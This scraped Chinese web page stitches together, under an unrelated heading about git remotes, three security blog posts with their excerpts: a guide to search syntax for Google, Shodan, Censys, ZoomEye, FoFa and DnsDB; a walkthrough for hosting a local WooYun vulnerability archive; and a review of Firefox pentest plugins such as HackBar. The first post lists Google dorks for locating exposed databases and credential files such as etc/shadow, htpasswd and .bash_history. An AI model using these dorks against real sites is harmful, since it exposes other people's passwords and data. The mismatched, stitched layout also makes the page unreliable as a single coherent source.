o为什么会出现 git删除remote origins/origin/head

&p&搜索引擎是我日常工作中用得最多的一款工具,国内常用的搜索引擎包括Baidu,sougou,bing等。但我本篇要纪录的并不是这些常用的搜索引擎,而是信息安全从业人员必备的几款网络搜索引擎。本篇要介绍的搜索引擎包括:Shodan,censys,钟馗之眼,Google,FoFa,Dnsdb等。介绍的内容主要是这几款搜索引擎的一些高级语法,掌握高级语法会让搜索结果更准确。&/p&&br&&p&对搜索引擎语法有所遗忘的,本文可当参考,仅此而已&/p&&br&&p&&strong&Google搜索引擎&/strong&&/p&&br&&p&这里之所以要介绍google搜索引擎,是因为它有别于百度、搜狗等内容搜索引擎,其在安全界有着非同一般的地位,甚至专门有一名词为google hacking用来形容google与安全非同寻常的关系。&/p&&br&&h4&&strong&google基本语法&/strong&&/h4&&br&&p&Index of/  使用它可以直接进入网站首页下的所有文件和文件夹中。&br&intext:  将返回所有在网页正文部分包含关键词的网页。&br&intitle:  将返回所有网页标题中包含关键词的网页。&br&cache:  搜索google里关于某些内容的缓存。&br&define:  搜索某个词语的定义。&br&filetype:  搜索指定的文件类型,如:.bak,.mdb,.inc等。&br&info:  查找指定站点的一些基本信息。&br&inurl:  搜索我们指定的字符是否存在于URL中。&br&Link:  link:thief.one可以返回所有和thief.one做了链接的URL。&br&site:  site:thief.one将返回所有和这个站有关的URL。&/p&&p&+  把google可能忽略的字列如查询范围。&br&-  把某个字忽略,例子:新加 -坡。&br&~  同意词。&br&.  单一的通配符。&br&*  通配符,可代表多个字母。&br&“”  精确查询。&/p&&br&&p&&strong&搜索不同国家网站&/strong&&/p&&br&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&inurl:tw  台湾inurl:jp  日本
&/code&&/pre&&/div&&h4&&strong&利用google暴库&/strong&&/h4&&br&&p&利用goole可以搜索到互联网上可以直接下载到的数据库文件,语法如下:&/p&&br&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&inurl:editor/db/inurl:eWebEditor/db/inurl:bbs/data/inurl:databackup/inurl:blog/data/inurl:\boke\datainurl:bbs/database/inurl:conn.aspinc/conn.aspServer.mapPath(“.mdb”)allinurl:bbs datafiletype:mdb inurl:databasefiletype:inc conninurl:data filetype:mdbintitle:&index of& data
&/code&&/pre&&/div&&h4&&strong&利用goole搜索敏感信息&/strong&&/h4&&br&&p&利用google可以搜索一些网站的敏感信息,语法如下:&/p&&br&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&intitle:&index of& etcintitle:&Index of& .sh_historyintitle:&Index of& .bash_historyintitle:&index of& passwdintitle:&index of& people.lstintitle:&index of& pwd.dbintitle:&index of& etc/shadowintitle:&index of& spwdintitle:&index of& master.passwdintitle:&index of& htpasswdinurl:service.pwd
&/code&&/pre&&/div&&h4&利用google搜索C段服务器信息&/h4&&br&&p&此技巧来自lostwolf&/p&&br&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&site:218.87.21.*
&/code&&/pre&&/div&&p&可通过google可获取218.87.21.0/24网络的服务信息。&/p&&br&&h3&shodan搜索引擎&/h3&&br&&p&shodan网络搜索引擎偏向网络设备以及服务器的搜索,具体内容可上网查阅,这里给出它的高级搜索语法。&/p&&p&&br&地址:&a href=&/?target=https%3A//www.shodan.io/& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&Shodan&i class=&icon-external&&&/i&&/a&&/p&&br&&h4&&strong&搜索语法&/strong&&/h4&&br&&ul&&li&&p&hostname:  搜索指定的主机或域名,例如 hostname:”google”&/p&&/li&&li&&p&port:  搜索指定的端口或服务,例如 port:”21”&/p&&/li&&li&&p&country:  搜索指定的国家,例如 country:”CN”&/p&&/li&&li&&p&city:  搜索指定的城市,例如 city:”Hefei”&/p&&/li&&li&&p&org:  搜索指定的组织或公司,例如 org:”google”&/p&&/li&&li&&p&isp:  搜索指定的ISP供应商,例如 isp:”China Telecom”&/p&&/li&&li&&p&product:  搜索指定的操作系统/软件/平台,例如 product:”Apache httpd”&/p&&/li&&li&&p&version:  搜索指定的软件版本,例如 version:”1.6.2”&/p&&/li&&li&&p&geo:  搜索指定的地理位置,例如 geo:”31.08”&/p&&/li&&li&&p&before/after:  搜索指定收录时间前后的数据,格式为dd-mm-yy,例如 before:”11-11-15”&/p&&/li&&li&&p&net:  搜索指定的IP地址或子网,例如 net:”210.45.240.0/24”&/p&&/li&&/ul&&p&以上内容参考:&a href=&/?target=http%3A//xiaix.me/shodan-xin-shou-ru-keng-zhi-nan/& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&xiaix's Blog&i class=&icon-external&&&/i&&/a&&/p&&br&&h3&&strong&censys搜索引擎&/strong&&/h3&&br&&p&censys搜索引擎功能与shodan类似,以下几个文档信息。&/p&&p&&br&地址:&a href=&/?target=https%3A//www.censys.io/& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&Censys&i class=&icon-external&&&/i&&/a&&/p&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&https://www.censys.io/certificates/help 帮助文档https://www.censys.io/ipv4?q=
ip查询https://www.censys.io/domain?q=
域名查询https://www.censys.io/certificates?q= 证书查询
&/code&&/pre&&/div&&h4&&strong&搜索语法&/strong&&/h4&&br&&p&默认情况下censys支持全文检索。&/p&&br&&ul&&li&&p&23.0.0.0/8 or 8.8.8.0/24  可以使用and or not&/p&&/li&&li&&p&80.http.get.status_code: 200  指定状态&/p&&/li&&li&&p&80.http.get.status_code:[200 TO 300]  200-300之间的状态码&/p&&/li&&li&&p&location.country_code: DE  国家&/p&&/li&&li&&p&protocols: (“23/telnet” or “21/ftp”)  协议&/p&&/li&&li&&p&tags: scada  标签&/p&&/li&&li&&p&80.http.get.headers.server:nginx  服务器类型版本&/p&&/li&&li&&p&autonomous_system.description: University  系统描述&/p&&/li&&li&&p&正则&/p&&br&&/li&&/ul&&h3&&strong&钟馗之眼&/strong&&/h3&&br&&p&钟馗之眼搜索引擎偏向web应用层面的搜索。&/p&&p&地址:&a href=&/?target=https%3A//www.zoomeye.org/& class=& external& target=&_blank& rel=&nofollow noreferrer&&&span class=&invisible&&https://www.&/span&&span class=&visible&&zoomeye.org/&/span&&span class=&invisible&&&/span&&i class=&icon-external&&&/i&&/a&&/p&&br&&h4&&strong&搜索语法&/strong&&/h4&&br&&ul&&li&&p&app:nginx  组件名&/p&&/li&&li&&p&ver:1.0  版本&/p&&/li&&li&&p&os:windows  操作系统&/p&&/li&&li&&p&country:”China”  国家&/p&&/li&&li&&p&city:”hangzhou”  城市&/p&&/li&&li&&p&port:80  端口&/p&&/li&&li&&p&hostname:google  主机名&/p&&/li&&li&&p&site:thief.one  网站域名&/p&&/li&&li&&p&desc:nmask  描述&/p&&/li&&li&&p&keywords:nmask’blog  关键词&/p&&/li&&li&&p&service:ftp  服务类型&/p&&/li&&li&&p&ip:8.8.8.8  ip地址&/p&&/li&&li&&p&cidr:8.8.8.8/24  ip地址段&/p&&br&&/li&&/ul&&h3&&strong&FoFa搜索引擎&/strong&&/h3&&br&&p&FoFa搜索引擎偏向资产搜索。&/p&&p&地址:&a href=&/?target=https%3A//fofa.so& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&FOFA Pro - 网络空间安全搜索引擎,网络空间搜索引擎,网络空间测绘,安全态势感知&i class=&icon-external&&&/i&&/a&&/p&&br&&h4&&strong&搜索语法&/strong&&/h4&&br&&ul&&li&&p&title=”abc” 从标题中搜索abc。例:标题中有北京的网站。&/p&&/li&&li&&p&header=”abc” 从http头中搜索abc。例:jboss服务器。&/p&&/li&&li&&p&body=”abc” 从html正文中搜索abc。例:正文包含Hacked by。&/p&&/li&&li&&p&domain=”qq.com” 搜索根域名带有&a href=&/?target=http%3A//qq.com& class=& external& target=&_blank& rel=&nofollow noreferrer&&&span class=&invisible&&http://&/span&&span class=&visible&&&/span&&span class=&invisible&&&/span&&i class=&icon-external&&&/i&&/a&的网站。例: 根域名是&a href=&/?target=http%3A//qq.com& class=& external& target=&_blank& rel=&nofollow noreferrer&&&span class=&invisible&&http://&/span&&span class=&visible&&&/span&&span class=&invisible&&&/span&&i class=&icon-external&&&/i&&/a&的网站。&/p&&/li&&li&&p&host=”.” 从url中搜索.,注意搜索要用host作为名称。&/p&&/li&&li&&p&port=”443” 查找对应443端口的资产。例: 查找对应443端口的资产。&/p&&/li&&li&&p&ip=”1.1.1.1” 从ip中搜索包含1.1.1.1的网站,注意搜索要用ip作为名称。&/p&&/li&&li&&p&protocol=”https” 搜索制定协议类型(在开启端口扫描的情况下有效)。例: 查询https协议资产。&/p&&/li&&li&&p&city=”Beijing” 搜索指定城市的资产。例: 搜索指定城市的资产。&/p&&/li&&li&&p&region=”Zhejiang” 搜索指定行政区的资产。例: 搜索指定行政区的资产。&/p&&/li&&li&&p&country=”CN” 搜索指定国家(编码)的资产。例: 搜索指定国家(编码)的资产。&/p&&/li&&li&&p&cert=”” 搜索证书(https或者imaps等)中带有&a href=&/?target=http%3A//& class=& external& target=&_blank& rel=&nofollow noreferrer&&&span class=&invisible&&http://&/span&&span class=&visible&&&/span&&span class=&invisible&&&/span&&i class=&icon-external&&&/i&&/a&的资产。&/p&&br&&/li&&/ul&&p&&strong&高级搜索:&/strong&&/p&&br&&ul&&li&&p&title=”powered by” && title!=discuz&/p&&/li&&li&&p&title!=”powered by” && body=discuz&/p&&/li&&li&&p&( body=”content=\”WordPress” || (header=”X-Pingback” && header=”/xmlrpc.php” && body=”/wp-includes/“) ) && host=””&/p&&br&&/li&&/ul&&h3&&strong&Dnsdb搜索引擎&/strong&&/h3&&br&&p&dnsdb搜索引擎是一款针对dbs解析的查询平台。&/p&&p&地址:&a href=&/?target=https%3A//www.dnsdb.io/& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&DnsDB&i class=&icon-external&&&/i&&/a&&/p&&br&&h4&&strong&搜索语法&/strong&&/h4&&br&&p&DnsDB查询语法结构为条件1 条件2 条件3 …., 每个条件以空格间隔, DnsDB 会&/p&&p&把满足所有查询条件的结果返回给用户.&/p&&br&&strong&域名查询条件&/strong&&br&&p&域名查询是指查询顶级私有域名所有的DNS记录, 查询语法为domain:.&/p&&p&例如查询&a href=&/?target=http%3A//& class=& external& target=&_blank& rel=&nofollow noreferrer&&&span class=&invisible&&http://&/span&&span class=&visible&&&/span&&span class=&invisible&&&/span&&i class=&icon-external&&&/i&&/a& 的所有DNS记录: .&/p&&p&域名查询可以省略domain:.&/p&&br&&strong&主机查询条件&/strong&&br&&p&查询语法:host:&/p&&p&&br&例如查询主机地址为的DNS记录: host:&/p&&p&主机查询条件与域名查询查询条件的区别在于, 主机查询匹配的是DNS记录的&/p&&p&Host值&br&&/p&&br&&strong&按DNS记录类型查询&/strong&&br&&p&查询语法: type:.&br&例如只查询A记录: type:a&br&使用条件:必须存在domain:或者host:条件,才可以使用type:查询语法&/p&&br&&strong&按IP限制&/strong&&br&&p&查询语法: ip:&br&查询指定IP: ip:8.8.8.8, 该查询与直接输入8.8.8.8进行查询等效&br&查询指定IP范围: ip:8.8.8.8-8.8.255.255&br&CIDR: ip:8.8.0.0/24&br&IP最大范围限制65536个&/p&&br&&strong&条件组合查询的例子&/strong&&br&&p&查询&a href=&/?target=http%3A//& class=& external& target=&_blank& rel=&nofollow noreferrer&&&span class=&invisible&&http://&/span&&span class=&visible&&&/span&&span class=&invisible&&&/span&&i class=&icon-external&&&/i&&/a&的所有A记录: &a href=&/?target=http%3A//& class=& external& target=&_blank& rel=&nofollow noreferrer&&&span class=&invisible&&http://&/span&&span class=&visible&&&/span&&span class=&invisible&&&/span&&i class=&icon-external&&&/i&&/a& type:a&/p&&p&本文将会持续补充一些内容……&/p&&br&&p&From:&a href=&/?target=http%3A//thief.one//1/& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&【渗透神器系列】搜索引擎&i class=&icon-external&&&/i&&/a&&/p&
搜索引擎是我日常工作中用得最多的一款工具,国内常用的搜索引擎包括Baidu,sougou,bing等。但我本篇要纪录的并不是这些常用的搜索引擎,而是信息安全从业人员必备的几款网络搜索引擎。本篇要介绍的搜索引擎包括:Shodan,censys,钟馗之眼,Google,FoFa…
&p&前段时间,老师在群里分享了一个 github 的连接,说开源了。&/p&&p&我记得当时,看了看,才那么 几 百 M ,,,还 8.8 W
= = !&/p&&p&昨天,我一朋友自己直接搭自己硬盘上了,我就自己搭搭吧,很简单的,一放一点就成了。&/p&&p&&b&# &/b&按我的风格,肯定要记录的详细的不能再详细了 ,就算很简单的步骤,我也要详细点。&/p&&p&&b&#&/b& 就像,我上次用 linux 的系统,搭建一个网站,要是有大牛直接甩我 一堆命令行 ,该有多好,我直接张贴复制就是怼。 #(斜眼笑。。。)&/p&&p&&b&# 晚,我百度网盘里存的图片,真的存在一句话!0.0屌啊!我再开一个帖子,写写把。。。&/b&&/p&&p&&b&这个是关于两个图片马的帖子。 &br&&/b&&/p&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&/p/
&/code&&/pre&&/div&&p&这个是开源地址: &br&&/p&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&/m0l1ce/wooyunallbugs
&/code&&/pre&&/div&&p&这是我存我百度盘里的:&/p&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&链接: /s/1nvkFKox 密码: 94sp
&/code&&/pre&&/div&&p&----------------------------------------------------------------------------------------------------------------&/p&&p&1,首先去下载一个集成环境工具,这里我用的 phpStudy , 33M 的这个。&/p&&p&&img src=&/v2-8a82ab7b027f1f259fb05_b.jpg& data-rawwidth=&679& data-rawheight=&135& class=&origin_image zh-lightbox-thumb& width=&679& data-original=&/v2-8a82ab7b027f1f259fb05_r.jpg&&下载地址:&a href=&/?target=http%3A//www.phpstudy.net/a.php/211.html& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&phpStudy
再次更新,支持自定义php版本&i class=&icon-external&&&/i&&/a&&br&&/p&&p&2,然后,我解压到我的 D 盘上了。&/p&&p&&img src=&/v2-3ca4b3d1be_b.jpg& data-rawwidth=&798& data-rawheight=&623& class=&origin_image zh-lightbox-thumb& width=&798& data-original=&/v2-3ca4b3d1be_r.jpg&&3,把源码和数据库先下载开,图片用的是外连,人家也说了,放图片的服务器不会关掉的。&/p&&p&&img src=&/v2-ce1dd65ced704cc9d3ed4b_b.jpg& data-rawwidth=&1098& data-rawheight=&286& class=&origin_image zh-lightbox-thumb& width=&1098& data-original=&/v2-ce1dd65ced704cc9d3ed4b_r.jpg&&4,把 bugs.rar 这个源码包解压到了 D:\phpStudy\WWW\bugs\
这里。&/p&&p&&img src=&/v2-efc19b467c4f179bf8e9da8c3f90a8ca_b.jpg& data-rawwidth=&796& data-rawheight=&265& class=&origin_image zh-lightbox-thumb& width=&796& data-original=&/v2-efc19b467c4f179bf8e9da8c3f90a8ca_r.jpg&&5,在源码里找见 conn.php 这个文件,用记事本打开,或者想我一样下载了 notepad++ ,打开就是了,在里面修改成自己 MySQL 数据库的账号密码 。&/p&&p&&img src=&/v2-b9c9ffad07ad8a_b.jpg& data-rawwidth=&772& data-rawheight=&208& class=&origin_image zh-lightbox-thumb& width=&772& data-original=&/v2-b9c9ffad07ad8a_r.jpg&&&img src=&/v2-a7af61f7e09ee7d96b84ef93e4bb62fd_b.jpg& data-rawwidth=&777& data-rawheight=&193& class=&origin_image zh-lightbox-thumb& width=&777& data-original=&/v2-a7af61f7e09ee7d96b84ef93e4bb62fd_r.jpg&&6,然后把 wooyun.rar 拖进
D:\phpStudy\MySQL\data 这里解压下,这里是数据库存放的地方。&/p&&p&&img src=&/v2-4e3998dac5699cad4ce2_b.jpg& data-rawwidth=&796& data-rawheight=&382& class=&origin_image zh-lightbox-thumb& width=&796& data-original=&/v2-4e3998dac5699cad4ce2_r.jpg&&7,启动 phpstudy ,然后点击面板上的选择版本,看下是不是 5.3 版本的,如果不是就选择到这个 5.3 版本 。(昨天就这个版本问题,害的我一连不上数据库。。。)&/p&&p&&img src=&/v2-7ca81c770a4c22f8ad37291edd6dc8c4_b.jpg& data-rawwidth=&838& data-rawheight=&395& class=&origin_image zh-lightbox-thumb& width=&838& data-original=&/v2-7ca81c770a4c22f8ad37291edd6dc8c4_r.jpg&&8,点击 mysql 管理器,站点域名管理,然后该杂弄杂弄。。。&/p&&p&&img src=&/v2-e1f98db6cdd64b7eb3a4b_b.jpg& data-rawwidth=&716& data-rawheight=&415& class=&origin_image zh-lightbox-thumb& width=&716& data-original=&/v2-e1f98db6cdd64b7eb3a4b_r.jpg&&&img src=&/v2-60ad89bec30f27e3de8fba_b.jpg& data-rawwidth=&948& data-rawheight=&546& class=&origin_image zh-lightbox-thumb& width=&948& data-original=&/v2-60ad89bec30f27e3de8fba_r.jpg&&9,一般到这里就结束了,直接启动服务器,然后然后输入 &i&127.0.0.1&/i& 就能进入了主页面了。&/p&&p&&img src=&/v2-9f9c1a4ccb719dddc6dc2f3f_b.jpg& data-rawwidth=&1366& data-rawheight=&729& class=&origin_image zh-lightbox-thumb& width=&1366& data-original=&/v2-9f9c1a4ccb719dddc6dc2f3f_r.jpg&&10,恩,先修改一个小错误,再继续说说其他的。他的源码不知道杂回事,进入具体的页面时就会在上面出现报错的提示。。。&/p&&p&&img src=&/v2-cc648b8daf693d61c28d5d_b.jpg& data-rawwidth=&1366& data-rawheight=&342& class=&origin_image zh-lightbox-thumb& width=&1366& data-original=&/v2-cc648b8daf693d61c28d5d_r.jpg&&10.1,看着挺不好看的,那我就关闭这个提醒吧,&br&&/p&&p&&img src=&/v2-8dfdc1dcdd68cb9dddc2c9a0_b.jpg& data-rawwidth=&1366& data-rawheight=&729& class=&origin_image zh-lightbox-thumb& width=&1366& data-original=&/v2-8dfdc1dcdd68cb9dddc2c9a0_r.jpg&&&img src=&/v2-897e9a9f0dc_b.jpg& data-rawwidth=&1364& data-rawheight=&329& class=&origin_image zh-lightbox-thumb& width=&1364& data-original=&/v2-897e9a9f0dc_r.jpg&&&b&# 额,那个其中有些步骤,需要多点击重启这个按钮的,就是把操作更新到设置中。。。反正最后多重启几下就好了。&/b&&br&&/p&&p&------------------------------------------------------------------------------------------------------------------------&/p&&p& 1,其他,如果修改域名的话,建议用管理员权限打开 phpstudy 这个工具 。&/p&&p&&img src=&/v2-7e87ef4dadf_b.jpg& data-rawwidth=&797& data-rawheight=&621& class=&origin_image zh-lightbox-thumb& width=&797& data-original=&/v2-7e87ef4dadf_r.jpg&&2,继续来到域名管理的那个页面。&/p&&p&&img src=&/v2-bf8f346e68e6badedf42fa_b.jpg& data-rawwidth=&1137& data-rawheight=&548& class=&origin_image zh-lightbox-thumb& width=&1137& data-original=&/v2-bf8f346e68e6badedf42fa_r.jpg&&3,然后打开 hosts 这个文本。&/p&&p&&img src=&/v2-b54abe0f3f3_b.jpg& data-rawwidth=&1340& data-rawheight=&679& class=&origin_image zh-lightbox-thumb& width=&1340& data-original=&/v2-b54abe0f3f3_r.jpg&&4,添加自己的域名解析地址。&/p&&p&&img src=&/v2-2aef02b324bdf263f88d565f39eaaf7e_b.jpg& data-rawwidth=&796& data-rawheight=&570& class=&origin_image zh-lightbox-thumb& width=&796& data-original=&/v2-2aef02b324bdf263f88d565f39eaaf7e_r.jpg&&5,来看一下效果 。&/p&&p&&img src=&/v2-db24c00cd16eabe25bed8078_b.jpg& data-rawwidth=&1366& data-rawheight=&729& class=&origin_image zh-lightbox-thumb& width=&1366& data-original=&/v2-db24c00cd16eabe25bed8078_r.jpg&&-----------------------------------------------------------------------------------------------------------------------&/p&&p&1,下载了一下午的图片,终于下载到我电脑上了。那么开始吧。&/p&&p& 2,在 wuyun 源码里新建一个 upload 文件夹。&/p&&p&&img src=&/v2-5984caf9dacd3c48d80c_b.jpg& data-rawwidth=&1018& data-rawheight=&359& class=&origin_image zh-lightbox-thumb& width=&1018& data-original=&/v2-5984caf9dacd3c48d80c_r.jpg&&3,把这一堆的图片全部解压到 upload 这个文件夹里。&/p&&p&&img src=&/v2-594a2db8cccefa82423e32e_b.jpg& data-rawwidth=&797& data-rawheight=&621& class=&origin_image zh-lightbox-thumb& width=&797& data-original=&/v2-594a2db8cccefa82423e32e_r.jpg&&&img src=&/v2-4f127b76e77dae34bcefef3e2be7ae3f_b.jpg& data-rawwidth=&797& data-rawheight=&622& class=&origin_image zh-lightbox-thumb& width=&797& data-original=&/v2-4f127b76e77dae34bcefef3e2be7ae3f_r.jpg&&&b&#&/b& 快一个小时了。。。。 关解压都能解压半个多小时,我也是醉醉的。。。&br&&/p&&p&4,继续用右键管理员权限运行
phpStudy.exe 。&/p&&p&5,继续 点击 MySQL 管理器,点击 站点域名管理 ,新增一个 static.loner.fm 域名,然后路径继续绑定到 wuyun 这个源码路径里,和一开始那个操作差不多,新增,保存。&/p&&p&&img src=&/v2-d0efbe3bcac51e106642eec_b.jpg& data-rawwidth=&1366& data-rawheight=&729& class=&origin_image zh-lightbox-thumb& width=&1366& data-original=&/v2-d0efbe3bcac51e106642eec_r.jpg&&6,继续点击 其他选项菜单,继续打开 hosts 这个文本 ,然后输入在原来的下一行输入以下地址,并保存&br&&/p&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&localhost
static.loner.fm
&/code&&/pre&&/div&&p&&img src=&/v2-e806dd998ddd0d2159aed75ab5255960_b.jpg& data-rawwidth=&1366& data-rawheight=&728& class=&origin_image zh-lightbox-thumb& width=&1366& data-original=&/v2-e806dd998ddd0d2159aed75ab5255960_r.jpg&&7,最后,启动下环境,输入地址,看下效果,是不是成功本地了。&/p&&p&&img src=&/v2-360c2adf507bfddcf6edbe50_b.jpg& data-rawwidth=&1366& data-rawheight=&512& class=&origin_image zh-lightbox-thumb& width=&1366& data-original=&/v2-360c2adf507bfddcf6edbe50_r.jpg&&&img src=&/v2-9fc0d39c6cbcefe403cd8d7f4bfe472b_b.jpg& data-rawwidth=&1366& data-rawheight=&342& class=&origin_image zh-lightbox-thumb& width=&1366& data-original=&/v2-9fc0d39c6cbcefe403cd8d7f4bfe472b_r.jpg&&--------------------------------------------------------------------------------------------------------------------------- &br&&/p&&p&&b&#
&/b&全文一步一步的写,我对我自己也是醉醉的。。。不过以后可以本地默默的看 8.8 w 的漏洞库的,嘎嘎。(*^__^*) 嘻嘻……&/p&
前段时间,老师在群里分享了一个 github 的连接,说开源了。我记得当时,看了看,才那么 几 百 M ,,,还 8.8 W = = !昨天,我一朋友自己直接搭自己硬盘上了,我就自己搭搭吧,很简单的,一放一点就成了。# 按我的风格,肯定要记录的详细的不能再详细了 …
&img src=&/50/v2-a1aed52d_b.jpg& data-rawwidth=&500& data-rawheight=&312& class=&origin_image zh-lightbox-thumb& width=&500& data-original=&/50/v2-a1aed52d_r.jpg&&&h2&&b&0x00 介绍&/b&&br&&/h2&&p&&b&本文由 一叶知安作者:倾旋 原创。未经许可,严禁转载!&/b&&/p&&p&写这篇文章对原因就是&b&:有很多朋友问我平常渗透测试的时候都用哪些好用的插件?&/b&&/p&&p&我一般都用火狐浏览器,有以下几点理由:&/p&&p&1.安装插件方便&/p&&p&2.快速同步&/p&&p&3.没有过滤的功能,测试某些漏洞比较方便&/p&&p&4.扩展性很强、灵活&/p&&p&可能有的朋友使用的是谷歌浏览器,但是谷歌浏览器下载插件确实比火狐要麻烦一点。&/p&&h2&&b&0x01 我推荐这些&/b&&/h2&&p&&b&HackBar&/b&&/p&&img src=&/50/v2-cb0a87bdcd01_b.png& data-rawwidth=&670& data-rawheight=&156& class=&origin_image zh-lightbox-thumb& width=&670& data-original=&/50/v2-cb0a87bdcd01_r.png&&&p&方便测试SQL注入、XSS漏洞,还有附带常见的编码解码功能,以及发送数据。&/p&&p&&br&&b&Easy Screenshot&/b&&/p&&img src=&/50/v2-cd16c08ed8dd7b04c6c66_b.png& data-rawwidth=&703& data-rawheight=&672& class=&origin_image zh-lightbox-thumb& width=&703& data-original=&/50/v2-cd16c08ed8dd7b04c6c66_r.png&&&p&一个截图的小工具。&/p&&p&&br&&b&HTTP Resource Test&/b&&/p&&img src=&/50/v2-b089d63fdf0_b.png& data-rawwidth=&597& data-rawheight=&767& class=&origin_image zh-lightbox-thumb& width=&597& data-original=&/50/v2-b089d63fdf0_r.png&&&p&用来测试常见的HTTP请求方法(POST,GET,DELETE,PUT,HEAD,OPTIONS,.....)可以自己修改方法。&br&&/p&&p&&b&HTTP Requester&/b&&/p&&img src=&/50/v2-8c05db6fdbd3e_b.png& data-rawwidth=&1207& data-rawheight=&805& class=&origin_image zh-lightbox-thumb& width=&1207& data-original=&/50/v2-8c05db6fdbd3e_r.png&&&p&用来测试常见的HTTP请求方法(POST,GET,DELETE,PUT,HEAD,OPTIONS,.....)可以自己修改方法。并且支持HTTP认证、保存请求、文件上传。&/p&&p&&br&&b&HttpFox&/b&&/p&&img src=&/50/v2-e28e4bfaf187c_b.png& data-rawwidth=&1392& data-rawheight=&469& class=&origin_image zh-lightbox-thumb& width=&1392& data-original=&/50/v2-e28e4bfaf187c_r.png&&&p&实时抓取HTTP请求 。&/p&&p&&br&&b&Modify Headers&/b&&/p&&img src=&/50/v2-a25ba41ed546_b.png& data-rawwidth=&650& data-rawheight=&505& class=&origin_image zh-lightbox-thumb& width=&650& data-original=&/50/v2-a25ba41ed546_r.png&&&p&添加或修改请求头,一般用于伪造IP地址。&/p&&p&&br&&b&Swap Proxy&/b&&/p&&img src=&/50/v2-0e23d581f123cbb1e0a5a0fe730474ce_b.png& data-rawwidth=&527& data-rawheight=&356& class=&origin_image zh-lightbox-thumb& width=&527& data-original=&/50/v2-0e23d581f123cbb1e0a5a0fe730474ce_r.png&&&p&为每个请求设置HTTP代理,优点就是不用再去打开浏览器设置,一个单击搞定。&/p&&p&&br&&b&Tamper Data&/b&&/p&&img src=&/50/v2-5dfd3ecd045f_b.png& data-rawwidth=&1484& data-rawheight=&466& class=&origin_image zh-lightbox-thumb& width=&1484& data-original=&/50/v2-5dfd3ecd045f_r.png&&&p&用于篡改HTTP请求,规则可以自定义。&/p&&p&&b&User Agent Switcher &img src=&/50/v2-23b9f89ff1ab0f9642912_b.png& data-rawwidth=&658& data-rawheight=&620& class=&origin_image zh-lightbox-thumb& width=&658& data-original=&/50/v2-23b9f89ff1ab0f9642912_r.png&&&/b&&/p&&p&用于切换各类浏览器的User Agent。&/p&&p&&br&&b&Web Developer&/b&&/p&&img src=&/50/v2-d90b32c3597416dda0463_b.png& data-rawwidth=&777& data-rawheight=&406& class=&origin_image zh-lightbox-thumb& width=&777& data-original=&/50/v2-d90b32c3597416dda0463_r.png&&&p&可以增加、删除、更改cookie,调试静态页面、禁用JS脚本、查看网页i信息以及请求头。&/p&&h2&&b&0x02 HackBar详解&/b&&/h2&&p&不管怎么样,都要凑够字数是吧! 详情我们视频里见!&br&&/p&&p&&b&安装完毕是这样的: &/b&&/p&&p&&img src=&/50/v2-cb0a87bdcd01_b.png& data-rawwidth=&670& data-rawheight=&156& class=&origin_image zh-lightbox-thumb& width=&670& data-original=&/50/v2-cb0a87bdcd01_r.png&& 首先先介绍横向&b&第一排的下拉框&/b&:&/p&&p&&b&INT、 HEX、OCT、Alphabet、AlNum&/b& 分别代表了整数、十六进制、八进制、字母表、所有。&/p&&p&假设你的输入框中有a这个字符,然后你将下拉框调整为Alphabet,再点击右边的“&b&+&/b&”,接下来你就会发现字母a变成了字母b!&/p&&p&整数类型的话也是一样,必须调整为INT或者AlNum,它会帮助你自动增长。&/p&&p&&b&Load URL:&/b&将当前浏览器的地址栏url复制到输入框中。&/p&&p&&b&Split URL:&/b&按照&来分割提交参数,并且一个参数占一行。&/p&&p&&b&Execute:&/b&提交请求。
&/p&&p&&b&SQL:&/b&主要用于SQL注入辅助,支持MySQL、MSSQL、Oracle的字符简单转换,也能够根据输入的数字直接生成联合注入的语句、并且也可以替换空格为注释符。&/p&&p&&b&XSS:&/b&用于将字符转换成ASCII码、HTML实体符号,附带生成一个测试XSS漏洞的alert谈窗代码。&/p&&p&&b&Encryption:&/b&用于加密字符,支持MD5、SHA1、SHA-256、ROT13&/p&&p&&b&Encoding:&/b&用于编码字符, 支持URL编码、Base64编码、十六进制编码。&br&&/p&&p&&b&Other:&/b&分别是Addslashes(将特殊字符使用“\”转义)、Stripslashes(去除转义)、Strip spaces(去除空格)、Reverse(字符串反转)。&/p&&p&&b&Usefull strings:&/b&一些常量,包括(元周率、菲波那切数列、内存溢出...)&/p&&p&&b&Enable Post data:&/b&这里勾选上后,会有一个输入框,使用来提交POST数据的。&/p&&p&&b&Enable Referrer:&/b&HTTP请求中的上一个页面的来源地址 。(一般用于测试CSRF防御机制)&/p&&h2&&b&0x03 关于视频&/b&&br&&/h2&&p&由于火狐插件相关的介绍文章较多,我准备给大家录制一个小视频,来动手实践学习使用插件。&/p&&p&(1)如何安装插件&/p&&p&(2)优化浏览器界面&/p&&p&(3) 从地一个插件开始介绍...&/p&&p&(4)总结&br&&/p&&p&那么,视频出来后我会把网盘地址放到文末,希望大家多多支持!!&/p&&p&========================================================================= &br&&/p&&p&微云链接:&a href=&/?target=https%3A///8eb71534dadafc287da42& class=& external& target=&_blank& rel=&nofollow noreferrer&&&span class=&invisible&&https://&/span&&span class=&visible&&/8eb715&/span&&span class=&invisible&&34dadafc287da42&/span&&span class=&ellipsis&&&/span&&i class=&icon-external&&&/i&&/a& (密码:WhXJCu)&/p&
0x00 介绍 本文由 一叶知安作者:倾旋 原创。未经许可,严禁转载!写这篇文章对原因就是:有很多朋友问我平常渗透测试的时候都用哪些好用的插件?我一般都用火狐浏览器,有以下几点理由:1.安装插件方便2.快速同步3.没有过滤的功能,测试某些漏洞比较方便4.…
